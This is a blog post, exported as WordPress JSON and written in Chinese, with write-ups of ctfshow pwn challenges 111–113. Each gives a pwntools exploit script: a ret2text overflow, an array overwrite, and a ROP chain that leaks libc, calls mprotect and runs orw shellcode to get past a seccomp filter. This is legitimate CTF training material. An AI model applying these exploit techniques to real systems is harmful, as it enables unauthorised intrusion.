{"id":450,"date":"2025-05-30T03:46:31","date_gmt":"2025-05-29T19:46:31","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=450"},"modified":"2025-05-30T03:46:31","modified_gmt":"2025-05-29T19:46:31","slug":"eye-bye-by-bypass","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=450","title":{"rendered":"eye – bye – by -bypass"},"content":{"rendered":"\n

pwn111<\/h2>\n\n\n\n
Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No<\/code><\/pre>\n\n\n\n
\u6ca1\u5565\u4e1c\u897f\u5c31\u666e\u901aret2text<\/p>\n\n\n\n
from pwn import *
io = remote(\"pwn.challenge.ctf.show\",28250)
payload = b'a' *(0x80 +8)
payload += p64(0x0000000000400697)
io.sendline(payload)
io.interactive()<\/code><\/pre>\n\n\n\n
pwn112<\/h2>\n\n\n\n
Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No<\/code><\/pre>\n\n\n\n
\u8fdbctfshow\u51fd\u6570\uff0c\u662f\u6570\u7ec4\uff0c\u521d\u59cb\u5316\u4e86var[13]\uff0cvar[14]<\/p>\n\n\n\n
\u4f46\u662f\uff0c\u8f93\u5165\u5904\u5b58\u5728\u53ef\u80fd\u4f7f\u7528\u7684\u6570\u7ec4\u8d8a\u754c\u6f0f\u6d1e<\/p>\n\n\n\n
int ctfshow()
{
  var[13] = 0;
  var[14] = 0;
  init();
  puts(\"What's your name?\");
  scanf(\"%s\", var);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] != 0x11LL )
      return printf(
               \"something wrong! val is %d\",
               var[0],
               var[1],
               var[2],
               var[3],
               var[4],
               var[5],
               var[6],
               var[7],
               var[8],
               var[9],
               var[10],
               var[11],
               var[12],
               var[13],
               var[14]);
    else
      return register_tm();
  }
  else
  {
    printf(\"%s, Welcome!\\n\", var);
    return puts(\"Try doing something~\");
  }
}<\/code><\/pre>\n\n\n\n
\u90a3\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u76f4\u63a5\u628a\u6574\u4e2a\u6570\u7ec4\u5168\u586b\u62100x11 \u4e5f\u5c31\u662f17\u5c31\u597d\u4e86\uff0c\u8fde\u4f2014\u4e2a\u8fdb\u53bb\uff0c\u4ee5\u6ee1\u8db3var[13] = 0x11<\/p>\n\n\n\n
\uff08\u540c\u7406\uff0c\u4f60\u524d\u9762\u4f2013\u4e2a\u5176\u4ed6\u83ab\u540d\u5176\u5999\u7684\u6570\u5b57\u6700\u540e\u4e00\u4e2a\u4f2017\u4e5f\u80fd\u7528\uff09<\/p>\n\n\n\n
from pwn import *
context.log_level='debug'
#io = process('.\/pwn112')
io = remote('pwn.challenge.ctf.show',28220)
payload = p32(17) * 14
io.recv()
io.sendline(payload)
io.interactive()<\/code><\/pre>\n\n\n\n
pwn113<\/h2>\n\n\n\n
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No<\/code><\/pre>\n\n\n\n
IDA\u6253\u5f00\u770b\u5230\u6709seccomp\uff0c\u770b\u770b\u6c99\u7bb1\u9650\u5236<\/p>\n\n\n\n
 line  CODE  JT   JF      K
=================================
\u200b
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u5c31ban\u4e86execve\uff0corw\u4e86\u591a\u534a<\/p>\n\n\n\n
main\u51fd\u6570\u611f\u89c9\u597d\u96be\u61c2\uff0c\u5148\u4e0d\u6025\u7740\u5206\u6790<\/p>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; \/\/ rax
  _BYTE v5[1032]; \/\/ [rsp+0h] [rbp-420h] BYREF
  __int64 v6; \/\/ [rsp+408h] [rbp-18h]
  char v7; \/\/ [rsp+417h] [rbp-9h]
  __int64 v8; \/\/ [rsp+418h] [rbp-8h]
\u200b
  is_detail = 0;
  go();
  logo(argc, argv);
  fwrite(\">> \", 1uLL, 3uLL, _bss_start);
  fflush(_bss_start);
  v8 = 0LL;
  while ( !feof(stdin) )
  {
    v7 = fgetc(stdin);
    if ( v7 == 10 )
      break;
    v3 = v8++;
    v6 = v3;
    v5[v3] = v7;
  }
  v5[v8] = 0;
  if ( (unsigned int)init(v5) )
  {
    qsort(files, size_of_path, 0x200uLL, (__compar_fn_t)cmp);
    search_file_info();
  }
  else
  {
    fflush(_bss_start);
    set_secommp();
  }
  return 0;
}<\/code><\/pre>\n\n\n\n
\u56de\u60f3\u4e86\u4e00\u4e0b\u4fdd\u62a4\u5c31\u4e00\u4e2a\u5168\u5f00\u7684RELRO\uff0c\u90a3\u5c31\u4e0d\u53ef\u5199got\u3001plt\u561b<\/p>\n\n\n\n
\u770b\u4e86\u770b\u6ca1\u6709\u4ec0\u4e48\u597d\u5229\u7528\u7684\u70b9<\/p>\n\n\n\n
\u4f46\u662f\u770b\u5230\u4e00\u4e2a\u5f88\u5947\u602a\u7684\u51fd\u6570<\/p>\n\n\n\n
int __fastcall stat(char *filename, struct stat *stat_buf)
{
  return __xstat(1, filename, stat_buf);
}<\/code><\/pre>\n\n\n\n
\uff08\u4e0d\u77e5\u9053\u5565\u4e1c\u897f\uff0c\u8c8c\u4f3c\u662f\u4e2a\u7ed3\u6784\u4f53\uff09<\/p>\n\n\n\n
main\u51fd\u6570\u4e2d\u6709\u2f00\u4e2a\u5224\u65ad\uff0c\u5f53\u6211\u4eec\u8f93\u2f0a\u7684\u2f42\u4ef6\u8def\u5f84\u6709\u95ee\u9898\uff0c\u5b83\u5c31\u4f1a\u8fd4\u56de0\uff0c\u7136\u540e\u8fdb\u2f0a\u6c99\u7bb1\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4efb\u610f\u8f93\u2f0a\uff0c\u4f7f\u5176\u51fa\u9519\u8fdb\u2f0a\u6c99\u7bb1\u8fdb\u884c\u6c99\u7bb1ROP \u5148\u6cc4\u6f0f\u5730\u5740\uff0c\u518d\u901a\u8fc7mprotect\u51fd\u6570\u4fee\u6539\u6743\u9650\u7136\u540eorw\u8fdb\u2f8f\u8bfbflag\uff0cflag\u540d\u79f0\u6211\u4eec\u53ef\u4ee5\u5728\u8fdc\u7a0b\u8fde\u63a5\u7684\u65f6\u5019\u8f93\u2f0a\u8def\u5f84\uff08\u8f93\u5165\/<\/code>\uff09\u5373\u53ef\u770b\u5230flag\u2f42\u4ef6\u683c\u5f0f<\/p>\n\n\n\n
exp\uff1a<\/p>\n\n\n\n
from pwn import *
\u200b
context(log_level='debug',arch='amd64', os='linux')
\u200b
# io = process(\".\/pwn113\")
io = remote(\"pwn.challenge.ctf.show\",28279)
elf = ELF(\".\/pwn113\")
libc = ELF(\".\/libc6_2.27-0ubuntu3_amd64.so\")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
pop_rdi = 0x0000000000401ba3
data = 0x603000
# pld = b'a'*(0x418) + p8(0x28)
# pld += p64(pop_rdi)
# pld += p64(puts_got)
# pld += p64(puts_plt)
# pld += p64(main)
\u200b
pld = b\"A\"*0x418+p8(0x28)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
\u200b
io.recvuntil(b\">> \")
io.sendline(pld)
\u200b
puts_addr = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
print(hex(puts_addr))
\u200b
libc_base = puts_addr - libc.sym[\"puts\"]
mprotect_addr = libc_base + libc.sym[\"mprotect\"]
\u200b
pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96
\u200b
gets_addr = libc_base+libc.sym[\"gets\"]
\u200b
io.recvuntil(b\">> \")
\u200b
payload = b\"A\"*0x418+p8(0x28)+p64(pop_rdi)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)
\u200b
io.sendline(payload)
\u200b
sh = shellcraft.cat(\"\/flag\")
shellcode = asm(sh)
io.sendline(shellcode)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
\u4ecd\u7136\u6709\u4e9b\u95ee\u9898<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u586b\u5145\u7684\u5783\u573e\u6570\u636e\u7ec4\u6210\u662f\uff1ab”A”*0x418+p8(0x28) + \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u662f\u52a0p8(0x28)\uff1f<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u4e0d\u62540x420\u4e2aA\u8fdb\u53bb\uff1f<\/p>\n","protected":false},"excerpt":{"rendered":"
pwn111 \u6ca1\u5565\u4e1c\u897f\u5c31\u666e\u901aret2text pwn112 \u8fdbctfshow\u51fd\u6570\uff0c\u662f\u6570\u7ec4\uff0c\u521d\u59cb\u5316\u4e86var[13 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-450","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=450"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/450\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}